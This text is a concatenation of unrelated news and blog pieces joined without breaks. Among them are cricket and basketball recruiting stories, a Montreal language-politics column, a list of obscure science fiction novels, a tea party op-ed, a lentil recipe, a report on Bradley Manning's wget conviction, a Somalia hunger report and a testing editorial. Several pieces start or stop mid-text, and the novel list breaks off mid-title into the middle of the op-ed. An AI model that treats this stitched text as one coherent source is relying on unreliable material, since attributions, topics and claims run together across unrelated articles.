When the match was over the England head coach, Andy Flower, was seen in warm embrace with the bowling coach David Saker, an acknowledgement of the input into the success, not least the manner in which he appears to have made the penny drop with Stuart Broad. Broad was a marginal selection for this match, and it remains hypothetical whether Tim Bresnan, who excelled in Australia, would not have bowled equally as well. We may find out at Trent Bridge, for which Tremlett is a doubt.
It is hard to find fault, though, with the response of Broad, who had been reminded of his role in no uncertain – and, if Saker was involved, abrasive – terms. Any so‑called enforcement, he was told, was to be done strictly on a needs-must basis, otherwise top of off‑stump is your target. Broad found the right length to make use of the swinging conditions, and later, when the demand changed, was able to pull his length back sufficiently to utilise some of the bounce differential that tall bowlers often manage to get on wearing pitches.
In a three‑man attack, there is no room for the weak link. The England trio, together with Graeme Swann, who took a backseat role but did so willingly and with skill, allowed no respite for India. If, in the end, India were not actually beaten by themselves before they started, then they were certainly done so by a quality attack at the peak of its game.Frank Haith and his staff will try to make a good impression this weekend as top recruiting target Devin Booker makes his official visit to Missouri.
Booker, a 6-foot-6 senior shooting guard from Moss Point, Miss., is universally ranked among the top 35 prospects in the nation. He has already received the red-carpet treatment at Michigan, Michigan State and Kentucky, where he joined a capacity crowd at Rupp Arena for the annual alumni game last month.
His father, former Missouri standout Melvin Booker, will accompany him as he makes his final official stop on a recruiting tour that has been going off and on for almost five years. It will be a final chance to visit with Haith and the assistants, spend more time with players who could become his teammates and soak in the atmosphere at the Tigers' football game against Florida.
"There's excitement, and then also difficult decisions that have to be made soon," Melvin Booker said. "That's going to be tough on a 17-year-old kid to decide where he wants to go play basketball, because he's got to say no to some great coaches and some great programs."
For what it's worth, Devin Booker doesn't expect anything that happens during one 48-hour stay to weigh too heavily into where he goes to school.
"Missouri is one of those schools that I've been to a lot of times," he said. "I've seen the campus, I've seen the gym, so really, I just want to enjoy my time, just feel the college atmosphere, enjoy the football game and hang out with some of the players and sit down with the coaches. � At the end of the day, I've done my research, I know what best fits me, so I don't think a visit really comes down to a decision-maker."
He is happy that his mother, Veronica Gutierrez, whom he lived with in Grand Rapids, Mich., until his sophomore year of high school, will be with him for her first trip to Columbia.
"I lived with my mom most of my life, and I want her to be comfortable with my decision also," he said. "She doesn't really know much about basketball, so she won't be in like the basketball decision part of it, but I still want her to feel comfortable with whatever school I choose."
Booker, a smooth shooter who averaged 29.7 points last season, plans on making his mind up soon after wrapping up his official visits. Oct. 31 has been widely reported as the date he plans to announce, though both Bookers said that could change.
"We don't have a locked date booked," Devin said.
The decision will bring a bit of relief to Booker, who's been handling an increasing number of calls and text messages from coaches and reporters � not to mention questions from friends. That's not to say Booker, who's been a sought-after prospect since he was an eighth-grader, hasn't enjoyed the attention.
"Really, it's probably one of the greatest experiences of my life," he said. "As a little kid growing up, I watched all these colleges on TV, and then just to have an opportunity to sit down with these coaches and sit down face-to-face and them tell you that they want you to play for their program, it's unreal."
Melvin Booker said his son has been thinking out loud a lot lately and struggling with the decision.
"He asked me all the time, 'How did you make your decision?' " said Melvin Booker, who also starred at Moss Point High School and went on to become the Big Eight Player of the Year and a second-team All-American at Missouri. "I was like, 'Mine was easy. I had one high-major program in Missouri, which was No. 1 in the nation, and then everyone else was midmajor.' "
Devin Booker, on the other hand, is choosing between programs at Kentucky and Michigan State led by Hall of Fame-caliber coaches John Calipari and Tom Izzo, a third at Michigan that played for the national championship in April and a fourth at Missouri that has gone 53-16 in Haith's first two seasons and is positioned for future success with a heralded freshman class and commitments from top-100 recruits JaKeenan Gant and Namon Wright for 2014.
Melvin Booker might have a personal favorite.
"This Saturday, he saw me running around the house watching Mizzou-Georgia with Mizzou up and flags everywhere, and I was so excited," he said. "I'm a Mizzou guy. I bleed black and gold."
He also said that won't have any impact on Devin's decision.
"It's about my son more so than about the school that I went to," he said. "I don't try to steer. I advise. Whatever he comes up with is going to be the decision that he has to live with."
He's spent the past year studying all four programs � their coaches, their styles of play and the makeup of their rosters � so that he can help Devin figure out where he fits best.
If Devin Booker is leaning one direction, he's not saying so.
"A lot of people say, you can't go wrong in any decision I make," he said. "They feel like I'll be successful at any college, but at the end of the day, I feel like there will be one that outstands the rest."Quebec is a more harmonious place than some would be led to believe. Photo via Flickr
There’s a new poll out by the Association for Canadian Studies that shows Quebec immigrants who speak French were just as likely as allophone or anglophone immigrants to identify with Canada.
So the policies of successive Quebec governments to encourage immigration from francophone countries isn’t turning into the goldmine for Quebec nationalism that some might have hoped, since only a small minority of those who come here pick Quebec (12 per cent) or language (10 per cent) when asked to choose just a single self-identifying label. The rest chose Canada (34 per cent), religion (28 per cent) and ethnic origin (12 per cent).
Another interesting conclusion from the same poll is about the perception of whether the French language and culture is losing ground in Quebec. It turns out that francophones who have the least contact with anglophones are the most likely to fear that French is in decline. On the flip side, francophones with the most exposure to anglophones are the least likely to see a threat. That’s doubly strange when you think that francophones who have little contact with anglophones likely have little contact with non-francophone culture. So where’s the fear coming from?
Well, let’s look at another segment of the poll dealing with attitudes towards immigrants. It turns out that people (anglo or franco) who have the least exposure to immigrants are the most likely to think immigrants should abandon their culture when they move here. They are also less likely to find immigrants trustworthy. I think you can guess the attitudes of people who have regular contact with immigrants. Yep. They are more likely to trust newcomers and support maintaining their culture.
What’s the lesson in all this? It’s that prejudice relies heavily on ignorance. The less you know your “enemy,” the easier it is to hate him and see him as a threat. So Jo Bleu in Saguenay finds it easy to believe that Montreal is plastered in English-only signs, clerks in coffee shops are forced to greet every customer with “hello-bonjour” and soon Saguenay city hall will be sending him his tax bills in English.
And Jo Rednecky in Calgary, whose parents left Montreal in 1976, believes that it’s dangerous for anglophones to speak English in public and that the jails of Montreal are filled with brave store owners who have refused to bow down to jackbooted “language police.”
Quebec media, which you’d think would be interested in demolishing stereotypes, are instead contributing to them with constant reports of language conflicts. Whether it’s the horror of the subway ticket-taker who wouldn’t speak English or the horreur of the metro worker who was asked to speak English, we turn these cases into causes célèbres, ignoring the thousands of people who daily file by the ticket booth without the least bit of drama.
It’s no wonder our out-of-town friends are asking if they’ll be safe driving through Quebec (yes, if you avoid potholes, bridges and Ontario drivers going 80 in the passing lane), whether students are still burning up the streets (they never did, but don’t let that ruin the media myth) and if all our politicians are corrupt (No. Some of them are just stupid).
* * *
Now, I like drama as much as the next guy, but the fact is that Montreal is always an amazing place to visit and bilingualism is one of the healthiest things in this city.
Not your old-guard angryphone bilingualism, which translates to “don’t make me learn French.” And not your indépendentiste bilingualism, which is a threat that “we’ll all be forced to speak English.” I’m talking about the bilingualism, even plurilingualism, that lives within so many of this city’s residents and makes it such a special place to be.
It’s the conversation I had with an anglophone Gaz Métro meter reader last week entirely in French.
It’s the way Montrealers constantly negotiate which language to use, not out of legal compulsion but out of common courtesy.
It’s the way Montreal Fringe Festival director Amy Blackmore describes the mix of acts at the annual event: “We now have people applying who don’t yet know which language their show is going to be in.”
Linguistic duality is growing here, to the horror of some, like the Parti Québécois minister for Montreal, Jean-François Lisée. As more and more of us mix with people who share different languages, cultures and religions, the stereotypes of older generations fall apart. We no longer see “others” as enemies who threaten our way of life but as people who can contribute to our culture and our understanding of our ever-shrinking world.
Is that really so bad, Jean-François? ■
Peter Wheeland is a Montreal journalist and stand-up comic. His sardonic observations about the city and province appear every second Tuesday in this space. Follow him on Twitter, or find out about his upcoming stand-up performances here.A two-year-old with a prominent birthmark on her face has used her first day at preschool as an opportunity to teach peers about her unique condition.
In a post to Love What Matters Facebook page yesterday, Colorado-based mother Kelly Wilson Bossley described how daughter Lydia, who has a port-wine stain on her face, reacted to discovering her new classmates “staring and whispering” at her face.
Lydia was left bruised from a treatment aimed at reducing the birthmark.
Ms Bossley said rather than getting upset, Lydia fetched a copy of a children’s book on the subject, Sam’s Birthmark, and handed it to her teacher so she could read it to the class.
“She isn’t even three yet but her resilience and ability to self-care blows me away,” Ms Bossley wrote.
Ms Bossley said she was so proud of her daughter’s action she was reduced to tears.
Her post, which has drawn tens of thousands of reactions, has even received comment from the author of Sam’s Birthmark, Martha Wardlaw Griffin.
Port-wine stain birthmarks are the result of a vascular malformation in the skin. If left untreated, the mark can spread, leading to loss of function in affected areas and bleeding.
Have a good news story you’d like to share? We’d like to hear from you. You can reach us at contact@9news.com.au.
Watch the final US presidential debate on Thursday at 12pm AEDT on Channel 9.
© Nine Digital Pty Ltd 2019Science fiction is great when it's weird. Really bizarre science fiction takes you on a wild ride, blowing past genre conventions and depositing you someplace miles from where you started. But where can you find the truly odd stuff?
Like hallucinogenic spores in a subterranean cavern, the most mind-bending science fiction books can take some digging. We asked around, and here's what we came up with: the 10 weirdest science fiction (and fantasy) books that you've probably never read.
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10. This Business of Bomfog, by Madelaine Duke (1967)
Cover tagline: "The Astonishing World of 1989 — A World of People Gone Mad, Mad, Mad." This is recursive bit of Philip K. Dick-esque metafiction, set in a Orwellian dystopia where the Brotherhood of Man, Fatherhood of God (BOMFOG) complex tries to prevent wars by giving Important Guests access to perpetual-motion art and private swimming pools. Key line of dialogue: "Sex is part of our reeducation program."
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9. The Tsaddik of the Seven Wonders by Isidore Haiblum (1971)
A Tsaddik is a Hasidic spiritual leader or wise person, and this book is legendarily steeped in Jewish lore, as the main character visits various times and places in Jewish history. Writes Eleanor Skinner in her Amazon review, "The tsaddik wanders around through time & space, while a wisecracking Retief/James Bond sort of figure from a galactic bureaucracy accidentally rescues a Polish princess. Eventually they all meet to fight an intergalactic real estate conspiracy, culminating in a climactic battle between hordes of demons & time-hopping Chassidim in a Polish castle. 60s psychedelia meets Yiddish humour."
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8. All of An Instant by Richard Garfinkle (1999)
A scientist discovers a place called the Instant which, as Amazon's summary puts it, is "a paradoxical nonplace that is simultaneously all times and no time." Soon everybody's battling to control the Instant, where changes ripple forward and alter the future. Every little ripple erases entire cultures and wipes out whole timelines. The SFSite review conveys just how weird this book gets:
In addition to the normal dimensions of height, width and depth, duration forms a fourth dimension in the Instant, and it places limitations on the memories and abilities of its inhabitants. Kookatchi, for instance, has a particularly short duration, and therefore his memory recycles frequently, only allowing him to retain the most vital of information. Nir, the War Chief from the Now, has a duration of a decade which allows him to take part in longer term planning, although Garfinkle reveals that those inhabitants with longer a duration have a more difficult time seeing the Instant for what it really is.
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7. Passing for Human, by Jody Scott (1977)
Benaroya is a giant space dolphin who's only interested in pleasure, until she decides to study humans. To do this, she disguises herself as Brenda Starr, the girl reporter from the newspaper comics. As she tells one human, "You might say I try to relate in a meaningful, concerned way to autochthonous bipeds in general." Later, Benaroya disguises herself as Emma Peel (from The Avengers) and author Virginia Woolf. Other members of her species are disguised as Abraham Lincoln and George S. Patton, while their support drones look like Richard Nixon. While disguised as Virginia Woolf, Benaroya gets herself captured by a race of psychopathic aliens who want to destroy the Earth, and you get a weird scene where Virginia Woolf debates whether it's a bad thing to fall in love with the leader of a group of genocidal alien psychopaths.
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6. Time Snake and Superclown by Vincent King (1976)
We reviewed this one back in 2008, and it's still hard to come up with a summary of the plot. Let's just say that the main character is living on Earth, observing a species of wraiths who are pretending to be human. While investigating this insidious plot, the hero has bad sex with a female wraith, who transforms his face into a clown mask — permanently — and steals his pants. He doesn't notice his pants are missing for about 20 pages, and when it finally dawns on him that he's pantless, he observes, "I must have been really bad not to have noticed that." The girl also cuts off his "strobe," trapping him on our planet because he can't access his spaceship. She eventually tells him he's destined to fight the Time Snake, which is coming to eat the world — but should he trust the girl who turned him into a clown and stole his pants? Probably not, but he does anyway.
The Most Demented Novel Of All Time If someone put a gun to your head and said you had to write a book that lived up to the title Time… Read more Read
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5. Flesh & Gold by Phyllis Gottlieb (1999)
From the Amazon.com synopsis:
Travelling judge Skerow, of a race of moral haiku-writing telepathic sauropods, stumbles upon two mysteries while on duty on grimy mining planet Fthel V. The same day she discovers her senior judge and colleague of 25 years was under investigation for accepting bribes, said colleague is murdered in his bedroom; and Skerow espies a genetically-altered, almost-human mermaid held captive in the display tank of a brothel window.
Luckily, it sounds like Skerow gets lots of help from her ancestors, whose brains are all in bottles, Futurama-style, plus she teams up with a human gladiator-for-hire named Ned. Too bad the food on Fthel V is so awful.
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4. Panda Ray by Michael Kandel (1996)
Christopher looks like a normal 10-year-old boy, but he's actually a member of a superpowerful race of creatures who control the world using their technology and psychic powers. When Christopher starts bragging about this at school, including details about how ESP killed the dinosaurs, his mother gets mad and decides that he should be "scooped out" — robbed of his psychic powers and turned into a shadow of his old self. So the boy escapes with his grandfather in a time machine disguised as a bathroom, fleeing through multiple universes. They go in search of the grandfather's mentor, Panda Ray, who may be able to save the boy, but only by turning him into a completely different person. Kandel is best known as the English translator of Stanislaw Lem, and by all accounts this is a very Lem-esque satirical coming-of-age novel.
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3. The Eleven Million Mile High Dancer by Carol Hill (1996)
From the official synopsis: "A brilliant, philosophical, and athletic physicist, Amanda Jaworski is in training to be the first person to journey to Mars. With her magic cat, Schrodinger, Amanda goes on the ultimate space odyssey. She finds herself in a battle for her life and her planet with the greatest seductress of all, The Eleven Million Mile High Dancer, a being from forty million light years away." Oh, and apparently the magic cat learns to order off a Chinese menu. And apparently Heisenberg's Uncertainty Principle is put to unexpected tests, in a storyline that combines physics and silliness. Eventually, according to Amazon reviewers, Amanda ends up meeting red and blue robots, a creature named Ooze, a "smelly overlord" and omniscient computers.
2. The Flight to Lucifer: A Gnostic |
their employers governed by union leaders. Highly educated mandarins can make better decisions for them than they can make themselves. That is the culture of dependence.
The tea partiers see things differently. They're not looking for lower taxes -- half of tea party supporters, a New York Times survey found, think their taxes are fair. Nor are they financially secure -- half say someone in their household may lose their job in the next year. Two-thirds say the recession has caused some hardship in their lives.
But they recognize, correctly, that the Obama Democrats are trying to permanently enlarge government and increase citizens' dependence on it. And, invoking the language of the Founding Fathers, they believe that this will destroy the culture of independence which has enabled Americans over the past two centuries to make this the most productive and prosperous -- and the most charitably generous -- nation in the world.
Seeing our political divisions as a battle between the culture of dependence and the culture of independence helps to make sense of the divisions seen in the 2008 election. Barack Obama carried voters with incomes under $50,000 and those with incomes over $200,000, and lost those with incomes in between. He won large margins from those who never graduated from high school and from those with graduate school degrees, and barely exceeded 50 percent among those in between.
The top-and-bottom Obama coalition was in effect a coalition of those dependent on government transfers and benefits and those in what David Brooks calls "the educated class," who administer or believe that their kind of people administer those transactions. They are the natural constituency for the culture of dependence.
Interestingly, in the Massachusetts special Senate election, the purported beneficiaries of the culture of dependence -- low-income and low-education voters -- did not turn out in large numbers. In contrast, the administrators of that culture -- affluent secular professionals, public employees, university personnel -- were the one group that turned out in force and voted for the hapless Democratic candidate.
The in-between people on the income and education ladders, it turns out, are a constituency for the culture of independence. Smart conservatives like David Frum, Ross Douthat and Reihan Salam argued in 2009 books that modest-income conservative voters have had stagnant incomes over the last decade and that Republicans should offer them compensatory tax breaks.
That seemed to make sense in the wake of the 2008 election. But it's been undercut by developments since. As Susan Roesgen discovered, tea party supporters are not in the mood to be bought off with $400 tax credits. They have a longer time horizon and can see where the Obama Democrats are trying to take us.
Paul Lazarsfeld saw politics as just a matter of dollars and cents. The tea party movement reminds us of what the Founders taught -- that it has a moral dimension, as well. They risked all in the cause of the culture of independence. The polling evidence suggests that most Americans don't want to leave that behind.
Michael Barone is senior political analyst for The Washington Examiner.
COPYRIGHT 2010 THE WASHINGTON EXAMINER
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V iews expressed in this column are those of the author, not those of Rasmussen Reports.Turmeric Lentil Fritters Tomato Greens Bowl with Tahini Dill Sauce. Baked Seedy Golden Lentil fritters with greens, tomatoes and a tahini sauce make an easy Lunch bowl. Vegan Nut-free Soy-free Recipe. Easily Glutenfree.
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These seedy lentil fritters are amazingly easy. Cook the lentils with turmeric and spices, fold in some spinach or greens, add seeds like chia, flax, sesame or hemp or other of choice, chill, scoop into bite size fritters, bake and done.
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The lentils when cooked make a wet mixture, which bakes up perfectly into crisp on the outside Golden fritters, soft and flavorful on the inside. I use a cookie scoop to make the fritters as it takes just 5 minutes without any mess. Tahini dill sauce complements these fritters incredibly well. Some juicy tomatoes and baby greens make this bowl an amazing meal. I eat up those fritters right off the baking sheet with the dill sauce, they are so good! so you might want to double the recipe. You can also make wraps with these life a falafel wrap. Some crunchy lettuce, pickles, tomatoes, fritters and sauce in a warm pita bread.
If you make these. do let me know in the comments how you liked them.
Try these lentil recipes
Cook the onion and garlic. Add spices and lentils and roast for a bit.
Add spinach and fold in.
Add seeds and mix in.
Chill for 15 mins. Add breadcrumbs if needed. Use a scoop to place equal size balls on parchment lined sheet.
Bake, cool and serve over a bowl of greens, tomatoes, cucumbers with tahini dill sauce.U.S. Army Pfc. Bradley Manning, right, is escorted by military police as arrives to hear the verdict in his military trial. (Mark Wilson/Getty Images)
One of the charges for which a military court found Army Pfc. Bradley Manning guilty on Tuesday is computer fraud, which carries a maximum sentence of 10 years. But the nature of that conviction might surprise people who haven't been following the case closely: it all comes down to a simple little Web program that dates back to 1996.
Wget is a free, open-source program so basic that it can be run from the Web or from a file that's about half the size of an MP3 file. What it does is so simple that most Web users today wouldn't even realize this could require a separate program: It downloads files. It doesn't break into password-protected servers, secretly transmit data or steal the latest Kanye West album. The program's name is a combination of "World Wide Web" and "get," as in you use it to get files from the Internet. Its function is roughly equivalent to right-clicking something on your Web browser and then hitting "save to desktop."
Investigators found that, when Manning downloaded vast numbers of U.S. diplomatic cables and other files from the computer network he regularly accessed for his Army intelligence job, he'd used wget to do it. This doesn't mean he used wget to hack into the system – Manning already had access to the files. It means that he used this tool to download the files more efficiently. Illegally taking and distributing the files are covered under separate charges.
How does using wget qualify as computer fraud? U.S. prosecutors pointed out that wget was not on the list of "approved" programs for use in facility where Manning worked. They argued that, although Manning was allowed to access the files, using an unauthorized program to do it amounted to a digital "trespass" and thus computer fraud. They also used the fact that wget was not permitted on Manning's computer as further evidence that using it amounted to illegal computer access.
The defense tried to get this charge dismissed two weeks ago, noting that Manning hadn't stolen passwords or bypassed digital firewalls to access the documents and thus had not committed computer fraud. The judge, Col. Denise Lind, declined to throw out the charge.
That Manning was convicted of computer fraud seems to suggest that using wget on a U.S. government computer to download large numbers of files can be considered the digital equivalent of trespassing – even if it's on turf you're otherwise allowed to access.Why did the chicken cross the road? (Picture: SWNS)
Yes, really.
It sounds a lot like the opening to a childish joke, but police have actually launched an appeal to fund out why a chicken crossed the road, after receiving reports of a bird giving motorists cause for concern.
The frightened chicken was found stranded in the middle of Dundee yesterday morning after it had crossed a busy road.
Thankfully, it was rescued by Tayside Police Division and has now been handed over to animal welfare officers.
Police have since taken to social media to trace the abandoned bird’s owner – with users joking about the age-old question of why it crossed the road.
Police wrote on Facebook: ‘Officers were in East Marketgait, Dundee at 8.30 this morning after reports of a chicken trying to cross the road and giving passing motorists cause for concern.
‘The bird was traced safe and well and has been brought to our police station.
‘The SSPCA has been contacted and will be attending to take care of the chicken until the owner is traced.
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‘Police are appealing for any information as to why the chicken was crossing the road.’
Facebook users were quick to make jokes about the age-old question.
Bill Barclay said: ‘Was it not just playing Chicken with the motorists?’
While Debbie Strachan commented: ‘Great escape! Was probably destined for a pot!’
And Femi Smith added: ‘Was the chicken trying to cross over into Nando’s?’NAIROBI (Thomson Reuters Foundation) - The number of Somalis who do not have enough to eat has risen to five million, or more than four out of ten people, due to poor rains, the United Nations said on Tuesday, with children at the greatest risk of ill-health and death.
The figure has increased by 300,000 since February, it said, amid ongoing conflict between the Islamist militant group al Shabaab and Somalia’s African Union-backed government.
“The situation is of serious concern and comes at a time when we are already facing multiple drivers of needs, including drought and risk of flooding, conflict and access constraints as well as increased refugee returns,” the United Nations said in a statement.
Tens of thousands of refugees have returned to Somalia this year from the world’s largest refugee camp, Dadaab, in Kenya as the government pushes ahead with plans to close it by November.
Kenya says Dadaab, home to more than 300,000 mostly Somali refugees has been used as a base by al Shabaab in its attacks on Kenyan soil.
Many are returning to south-central Somalia, the nation’s breadbasket, where poor rainfall has reduced cereal production to half the long-term average, the U.N. said.
Over 300,000 children under five are acutely malnourished and more than 50,000 are severely malnourished, the U.N. said, appealing for additional funding to support them.
Severely malnourished children are at risk of death unless they receive therapeutic feeding.
The majority of the 260,000 people who died during Somalia’s 2011 famine were children.
Hunger is a particularly acute among Somalia’s 1.1 million internally displaced people, many of whom are living in “appalling conditions”, having fled their homes multiple times, the U.N. said.
The displaced are constantly threatened with forced eviction and violence against women is widespread, it said.
Cereal production has been good in crop-growing parts of Somaliland in the north, but drought continues in other parts of the semi-autonomous region where most people are livestock herders, it said.
The La Nina weather phenomenon is likely to worsen hunger as it will affect Somalia’s October to January short rainy season, known as the Deyr, the Famine Early Warning Systems Network has said.
La Nina, characterized by unusually cold temperatures in the equatorial Pacific Ocean, is predicted to hit swathes of east and southern Africa already hit by El Nino, a warming of the Pacific Ocean.The devices, which prevent a car from starting without a sober breath sample, are currently required only for drivers who offend at least three times and optional for others under a complex set of rules as an alternative to losing their driver’s license.
A new law, backed by Mothers Against Drunk Driving and three legislators - Rep. Kim Norton, DFL-Rochester, Rep. Tim Kelly, R-Red Wing, and Sen. Chris Eaton, DFL-Brooklyn Center - would require interlock for all offenders.
Art Morrow, executive director for MADD in Minnesota, said in a news conference at the Capitol on Thursday that the state would join 25 others who have already seen promising results from doing so.
The group said those states have seen a 15 percent reduction in alcohol-related traffic deaths. Interlock devices have already stopped 1.77 million attempts to drive drunk in Minnesota to date, according to a MADD report.
The same report painted the current penalty for many first- and second-time offenders, the loss of a license, as ineffective, with 50 to 75 percent of people simply continuing to drive without one.
Interlock means “people who have poor judgment won’t even have the opportunity to drive impaired,” Morrow said.
First-time offenders would need to keep the devices installed for at least a year and wouldn’t be able to remove them before going at least 180 days without setting off the device with an impaired result. Repeat offenders would need to keep the devices longer.
Norton said lawmakers originally made the penalties even longer but backed off after MADD and other groups said drivers wouldn’t comply if they were too long.
“We’re trying to hit that sweet spot so that people will actually do it” rather than skirt the law by finding another car, she said at Thursday’s news conference.
She said the devices help modify behavior. An offender might get behind the wheel, think he or she is OK to drive and learn otherwise when the interlock goes off.
“It’s a lesson,” Norton said.
Gina Calistro, MADD Minnesota’s public policy committee chair, also spoke, describing how her father was fatally injured in a collision with a drunken driver in 2009.
The driver “was a repeat offender who should’ve installed an ignition interlock device” but instead opted out, she said.
Offenders pay for their own devices. The new law would seek to divert some current drunken driving fines toward that end.
Fatal alcohol-related crashes in the state were up 15 percent last year from 111 in 2014, MADD said. and are currently outstripping last year’s pace.
The proposed legislation passed the House Transportation Committee Wednesday by a unanimous voice vote and now moves to the Public Safety Committee.
The Pioneer Press is a Forum News Service media partner.A New York newspaper is reviewing the work of one of its former reporters after his new book on Baltimore was widely questioned by police and other officials here.
Newsday managing editor Richard Rosen confirmed to The Baltimore Sun that the paper is reviewing the work of Kevin Deutsch, who worked for the paper from 2012 to 2016, following questions raised by law enforcement and health officials about his new book about Baltimore, Pill City.
"We are scrutinizing his work for any inconsistencies. If there are any, we will publish our findings," Rosen said.
The New York Times also said it is reviewing a freelance article written by Deutsch that was published in January about fentanyl overdoses.
"The Metro desk is in contact with him and is reviewing the story he did for The Times," editor Wendell Jamieson said.
Deutsch told The Sun on Thursday that he's assisting with the reviews.
"I'm eager to demonstrate all of my work is accurate and meets the highest standards of journalistic ethics. I stand by and am proud of all my journalism," he said.
Deutsch says Pill City is a true story about the looting of pharmacies in Baltimore during the riots of April 2015, and its explosive content required him to change names of everyone he interviewed and other details to protect sources.
He says two honor roll students from Freddie Gray's West Baltimore neighborhood masterminded the lootings in conjunction with the Black Guerrilla Family gang, and used new technology to spread the drugs throughout the country, leading to a rise in violence and drug overdoses.
CAPTION The Stronach Group has spent almost 90 percent of its state renovation subsidies to pay for improvements at Laurel Park rather than at Pimlico Race Course, state records show. (Kevin Richardson, Baltimore Sun video) The Stronach Group has spent almost 90 percent of its state renovation subsidies to pay for improvements at Laurel Park rather than at Pimlico Race Course, state records show. (Kevin Richardson, Baltimore Sun video) CAPTION Wicomico County Sheriff Mike Lewis speaks to a crowd assembled in a House of Delegates overflow room to watch a hearing on a bill that would regulate shotguns and hunting rifles similarly to handguns. (Video courtesy of Shawn Poulson, Kent County Republican vice chairman) Wicomico County Sheriff Mike Lewis speaks to a crowd assembled in a House of Delegates overflow room to watch a hearing on a bill that would regulate shotguns and hunting rifles similarly to handguns. (Video courtesy of Shawn Poulson, Kent County Republican vice chairman)
While the book describes a criminal scheme that is said to be well-known on the streets as well as among doctors and law enforcement authorities in various cities, officials here and elsewhere told The Sun that they had never heard of it.
Deutsch worked at Newsday covering law enforcement, and his work took him to major news events in places such as Ferguson, Mo., Boston and Orlando. Rosen, the managing editor, noted "no previous complaints about his work from news subjects."
Deutsch was asked by The Sun last week to respond to questions about the book, and provide any supporting evidence for the scheme from thousands of records he said he reviewed.
Discussing the use of anonymity and changes to the accounts, Deutsch said he had to make "tough choices" to protect those he spoke with.
St. Martin's Press, which published the book, said last week it had "no reason to doubt" the veracity of the story. The publisher declined additional comment this week.
In the statement posted Wednesday night on the website Medium, Deutsch maintained that the story is authentic. He wrote he has been threatened by Baltimore gang members and contacted by law enforcement "asking me why I hadn't shared the information I'd gathered for my book with their respective agencies."
"People risked their lives, the safety of their families, and their careers to share their stories with me, and I'd done everything I could to maintain their anonymity," Deutsch wrote.
In the book, Deutsch writes that Baltimore Police were aware of the drug syndicate featured in the book and were working with the Drug Enforcement Administration and police in Chicago and Newark to discern their identities.
Police from those agencies say they have no such intelligence and have not worked together on such an investigation.
"We have information on a lot of drug traffickers and organizations operating throughout the city, but nothing regarding two teenagers going out and selling mass quantities of pills," said Don Hibbert, special agent in charge of the Baltimore DEA office.
The book also quotes doctors from various cities, such as New Orleans and Chicago, who speak about the role of the Baltimore-based Black Guerrilla Family gang's role in flooding their cities with opiates. Deutsch said their names were changed, as was the name of a doctor from St. Louis who is quoted speaking generally about addiction.
A scene set in the University of Maryland's Shock Trauma Center quotes a doctor explaining her knowledge of the impact of drugs and violence because her unit treats gunshot victims and overdoses patients side by side. The hospital said that is not how the facility operates: Overdose patients are sent to the emergency room; gunshot victims are taken to the separate trauma center. A spokeswoman for the hospital said other accounts "didn't ring true."
Health officials said they were also unaware of a storyline involving a group of volunteer "addiction interrupters" who are described in the book as walking the streets in 2015 to help addicts until their leader, a well-known street preacher, is gunned down by the BGF gang.
Following the preacher's death, the book says, his disciples used social media to start "addiction interrupter" efforts in Washington, New Jersey, New Orleans, St. Louis, Kansas City, Philadelphia, Los Angeles, Chicago, South Florida and other areas.
The book also cites a powerful gang called the "Highlandtown Soldiers," a gang Deutsch also named when he visited Baltimore in April 2015 for Newsweek. Law enforcement officials say they know of no such gang.
Deutsch also writes that he was in a vehicle when a killing occurred nearby, and he was able to link drugs trafficked from Baltimore to hundreds of drug overdoses across the country.
"Let me be clear: My book is an authentic, nonfiction portrayal of what happened in Baltimore after Freddie Gray's death," Deutsch wrote Wednesday night. "Pill City is a true story told under extraordinary circumstances. I reported it aggressively and honestly, and stand behind every word."
jfenton@baltsun.com
twitter.com/justin_fenton[This week, I've invited Cédric Beust to pen the editorial. Cédric writes a popular programming blog at beust.com. He's also the author of Next Generation Java Testing, which I've long considered the best available book on developer-based testing. He is a former Google engineer now working on Android. He is also the founder and lead developer of TestNG, the most widely used Java testing framework outside of JUnit. Ed.]
A few years ago, I had a conversation with a coworker that is still etched in my memory. We were talking about a library that he had recently open sourced and that he was very proud of. I had taken a look at it and I had one question for him: "I didn't find any tests in your distribution, are you shipping them separately?" He looked at me as if I had just insulted him. As it turns out, it's exactly how he felt. "Tests? I'm a developer, I don't write tests, I leave that to others."
Admittedly, this happened more than ten years ago. Back in those days, there was still a strong separation between "real" software engineers, who wrote production code, and "lesser" ones, who wrote tests. This certainly sounds laughable today, which is a testament at how far we've come; but once in a while, it's good to remember where we started. Today, you will be hard-pressed to find a single developer who doesn't think that writing tests for their code (and even other people's code) is part of his job. When I interview job candidates, I typically work on two aspects: "Write code to solve this problem" and "Now that you've written this function, how would you test it?" I would never hire someone who is not comfortable with both of these activities.
Testing is now universally accepted as being an integral part of software engineering and we have also created an entire ecosystem around it, with tools, frameworks, methodologies, design patterns, and countless articles, books, and forums dedicated to this very topic. If you want to improve at testing your code, there is no shortage of material.
There is a lot of good advice to be found in this cornucopia, but abundance often comes with confusion, inconsistencies, and even sometimes downright bad recommendations. I'd like to revisit some testing concepts that have emerged over the past decade and try to shed a more critical light on them.
Unit Testing
A unit test verifies that a single compilation unit works as expected. It's not supposed to use any other class in your code base and I've seen some people add restrictions, such as not allowing file, network, or database access in the interest of speedy runs and minimalistic dependencies. I think these are good rules of thumb to keep in mind, but you shouldn't be afraid to break them if it makes sense to do so. From a practical standpoint, I have found it made much more sense to categorize a test based on how fast it runs than on what it does.
I also question all the attention that unit tests are receiving at the expense of the other kinds of tests (functional, integration, etc.). The truth is that functional tests serve your users, while unit tests serve you the developer. A unit test is just a convenience that allows you to track down bugs faster. At the end of the day, the reason you write tests is to make sure that your users will be able to be productive with your application, not to make sure that you can debug faster.
When should you write unit tests? And functional tests? These are difficult questions to answer that you should ask yourself each step along the way, because the answer will vary depending on a lot of factors such as where you are in the lifecycle of your product, the team culture, the existing testing infrastructure, and so on.
If there is one thing you should keep in mind about unit tests, it's this: Unit tests are a luxury. Sometimes, you can afford a luxury; and sometimes, you should just wait for a better time and focus on something more essential such as writing a functional test.
Test-Driven Development
Test-driven development (TDD) means well. It really does. It's trying to force people into good design by imposing a specific process on the way they write code. I have found that this approach works well for junior developers by forcing them to think about testing very early on.
I have seen a lot of material on the positive aspects of TDD, so I'll skip those to jump directly to more negative aspects that I have observed.
First of all, I find that TDD encourages code churn. Most of the time, it will take two or three iterations on a new piece of code before reaching a stage where you think you have a good starting point. Unit tests for these early versions are pretty much guaranteed to be refactored constantly with little gain, and just eat a lot of time keeping the compiler happy. If you're going to throw away the first two versions of your code, you might as well skip the first two versions of your tests as well.
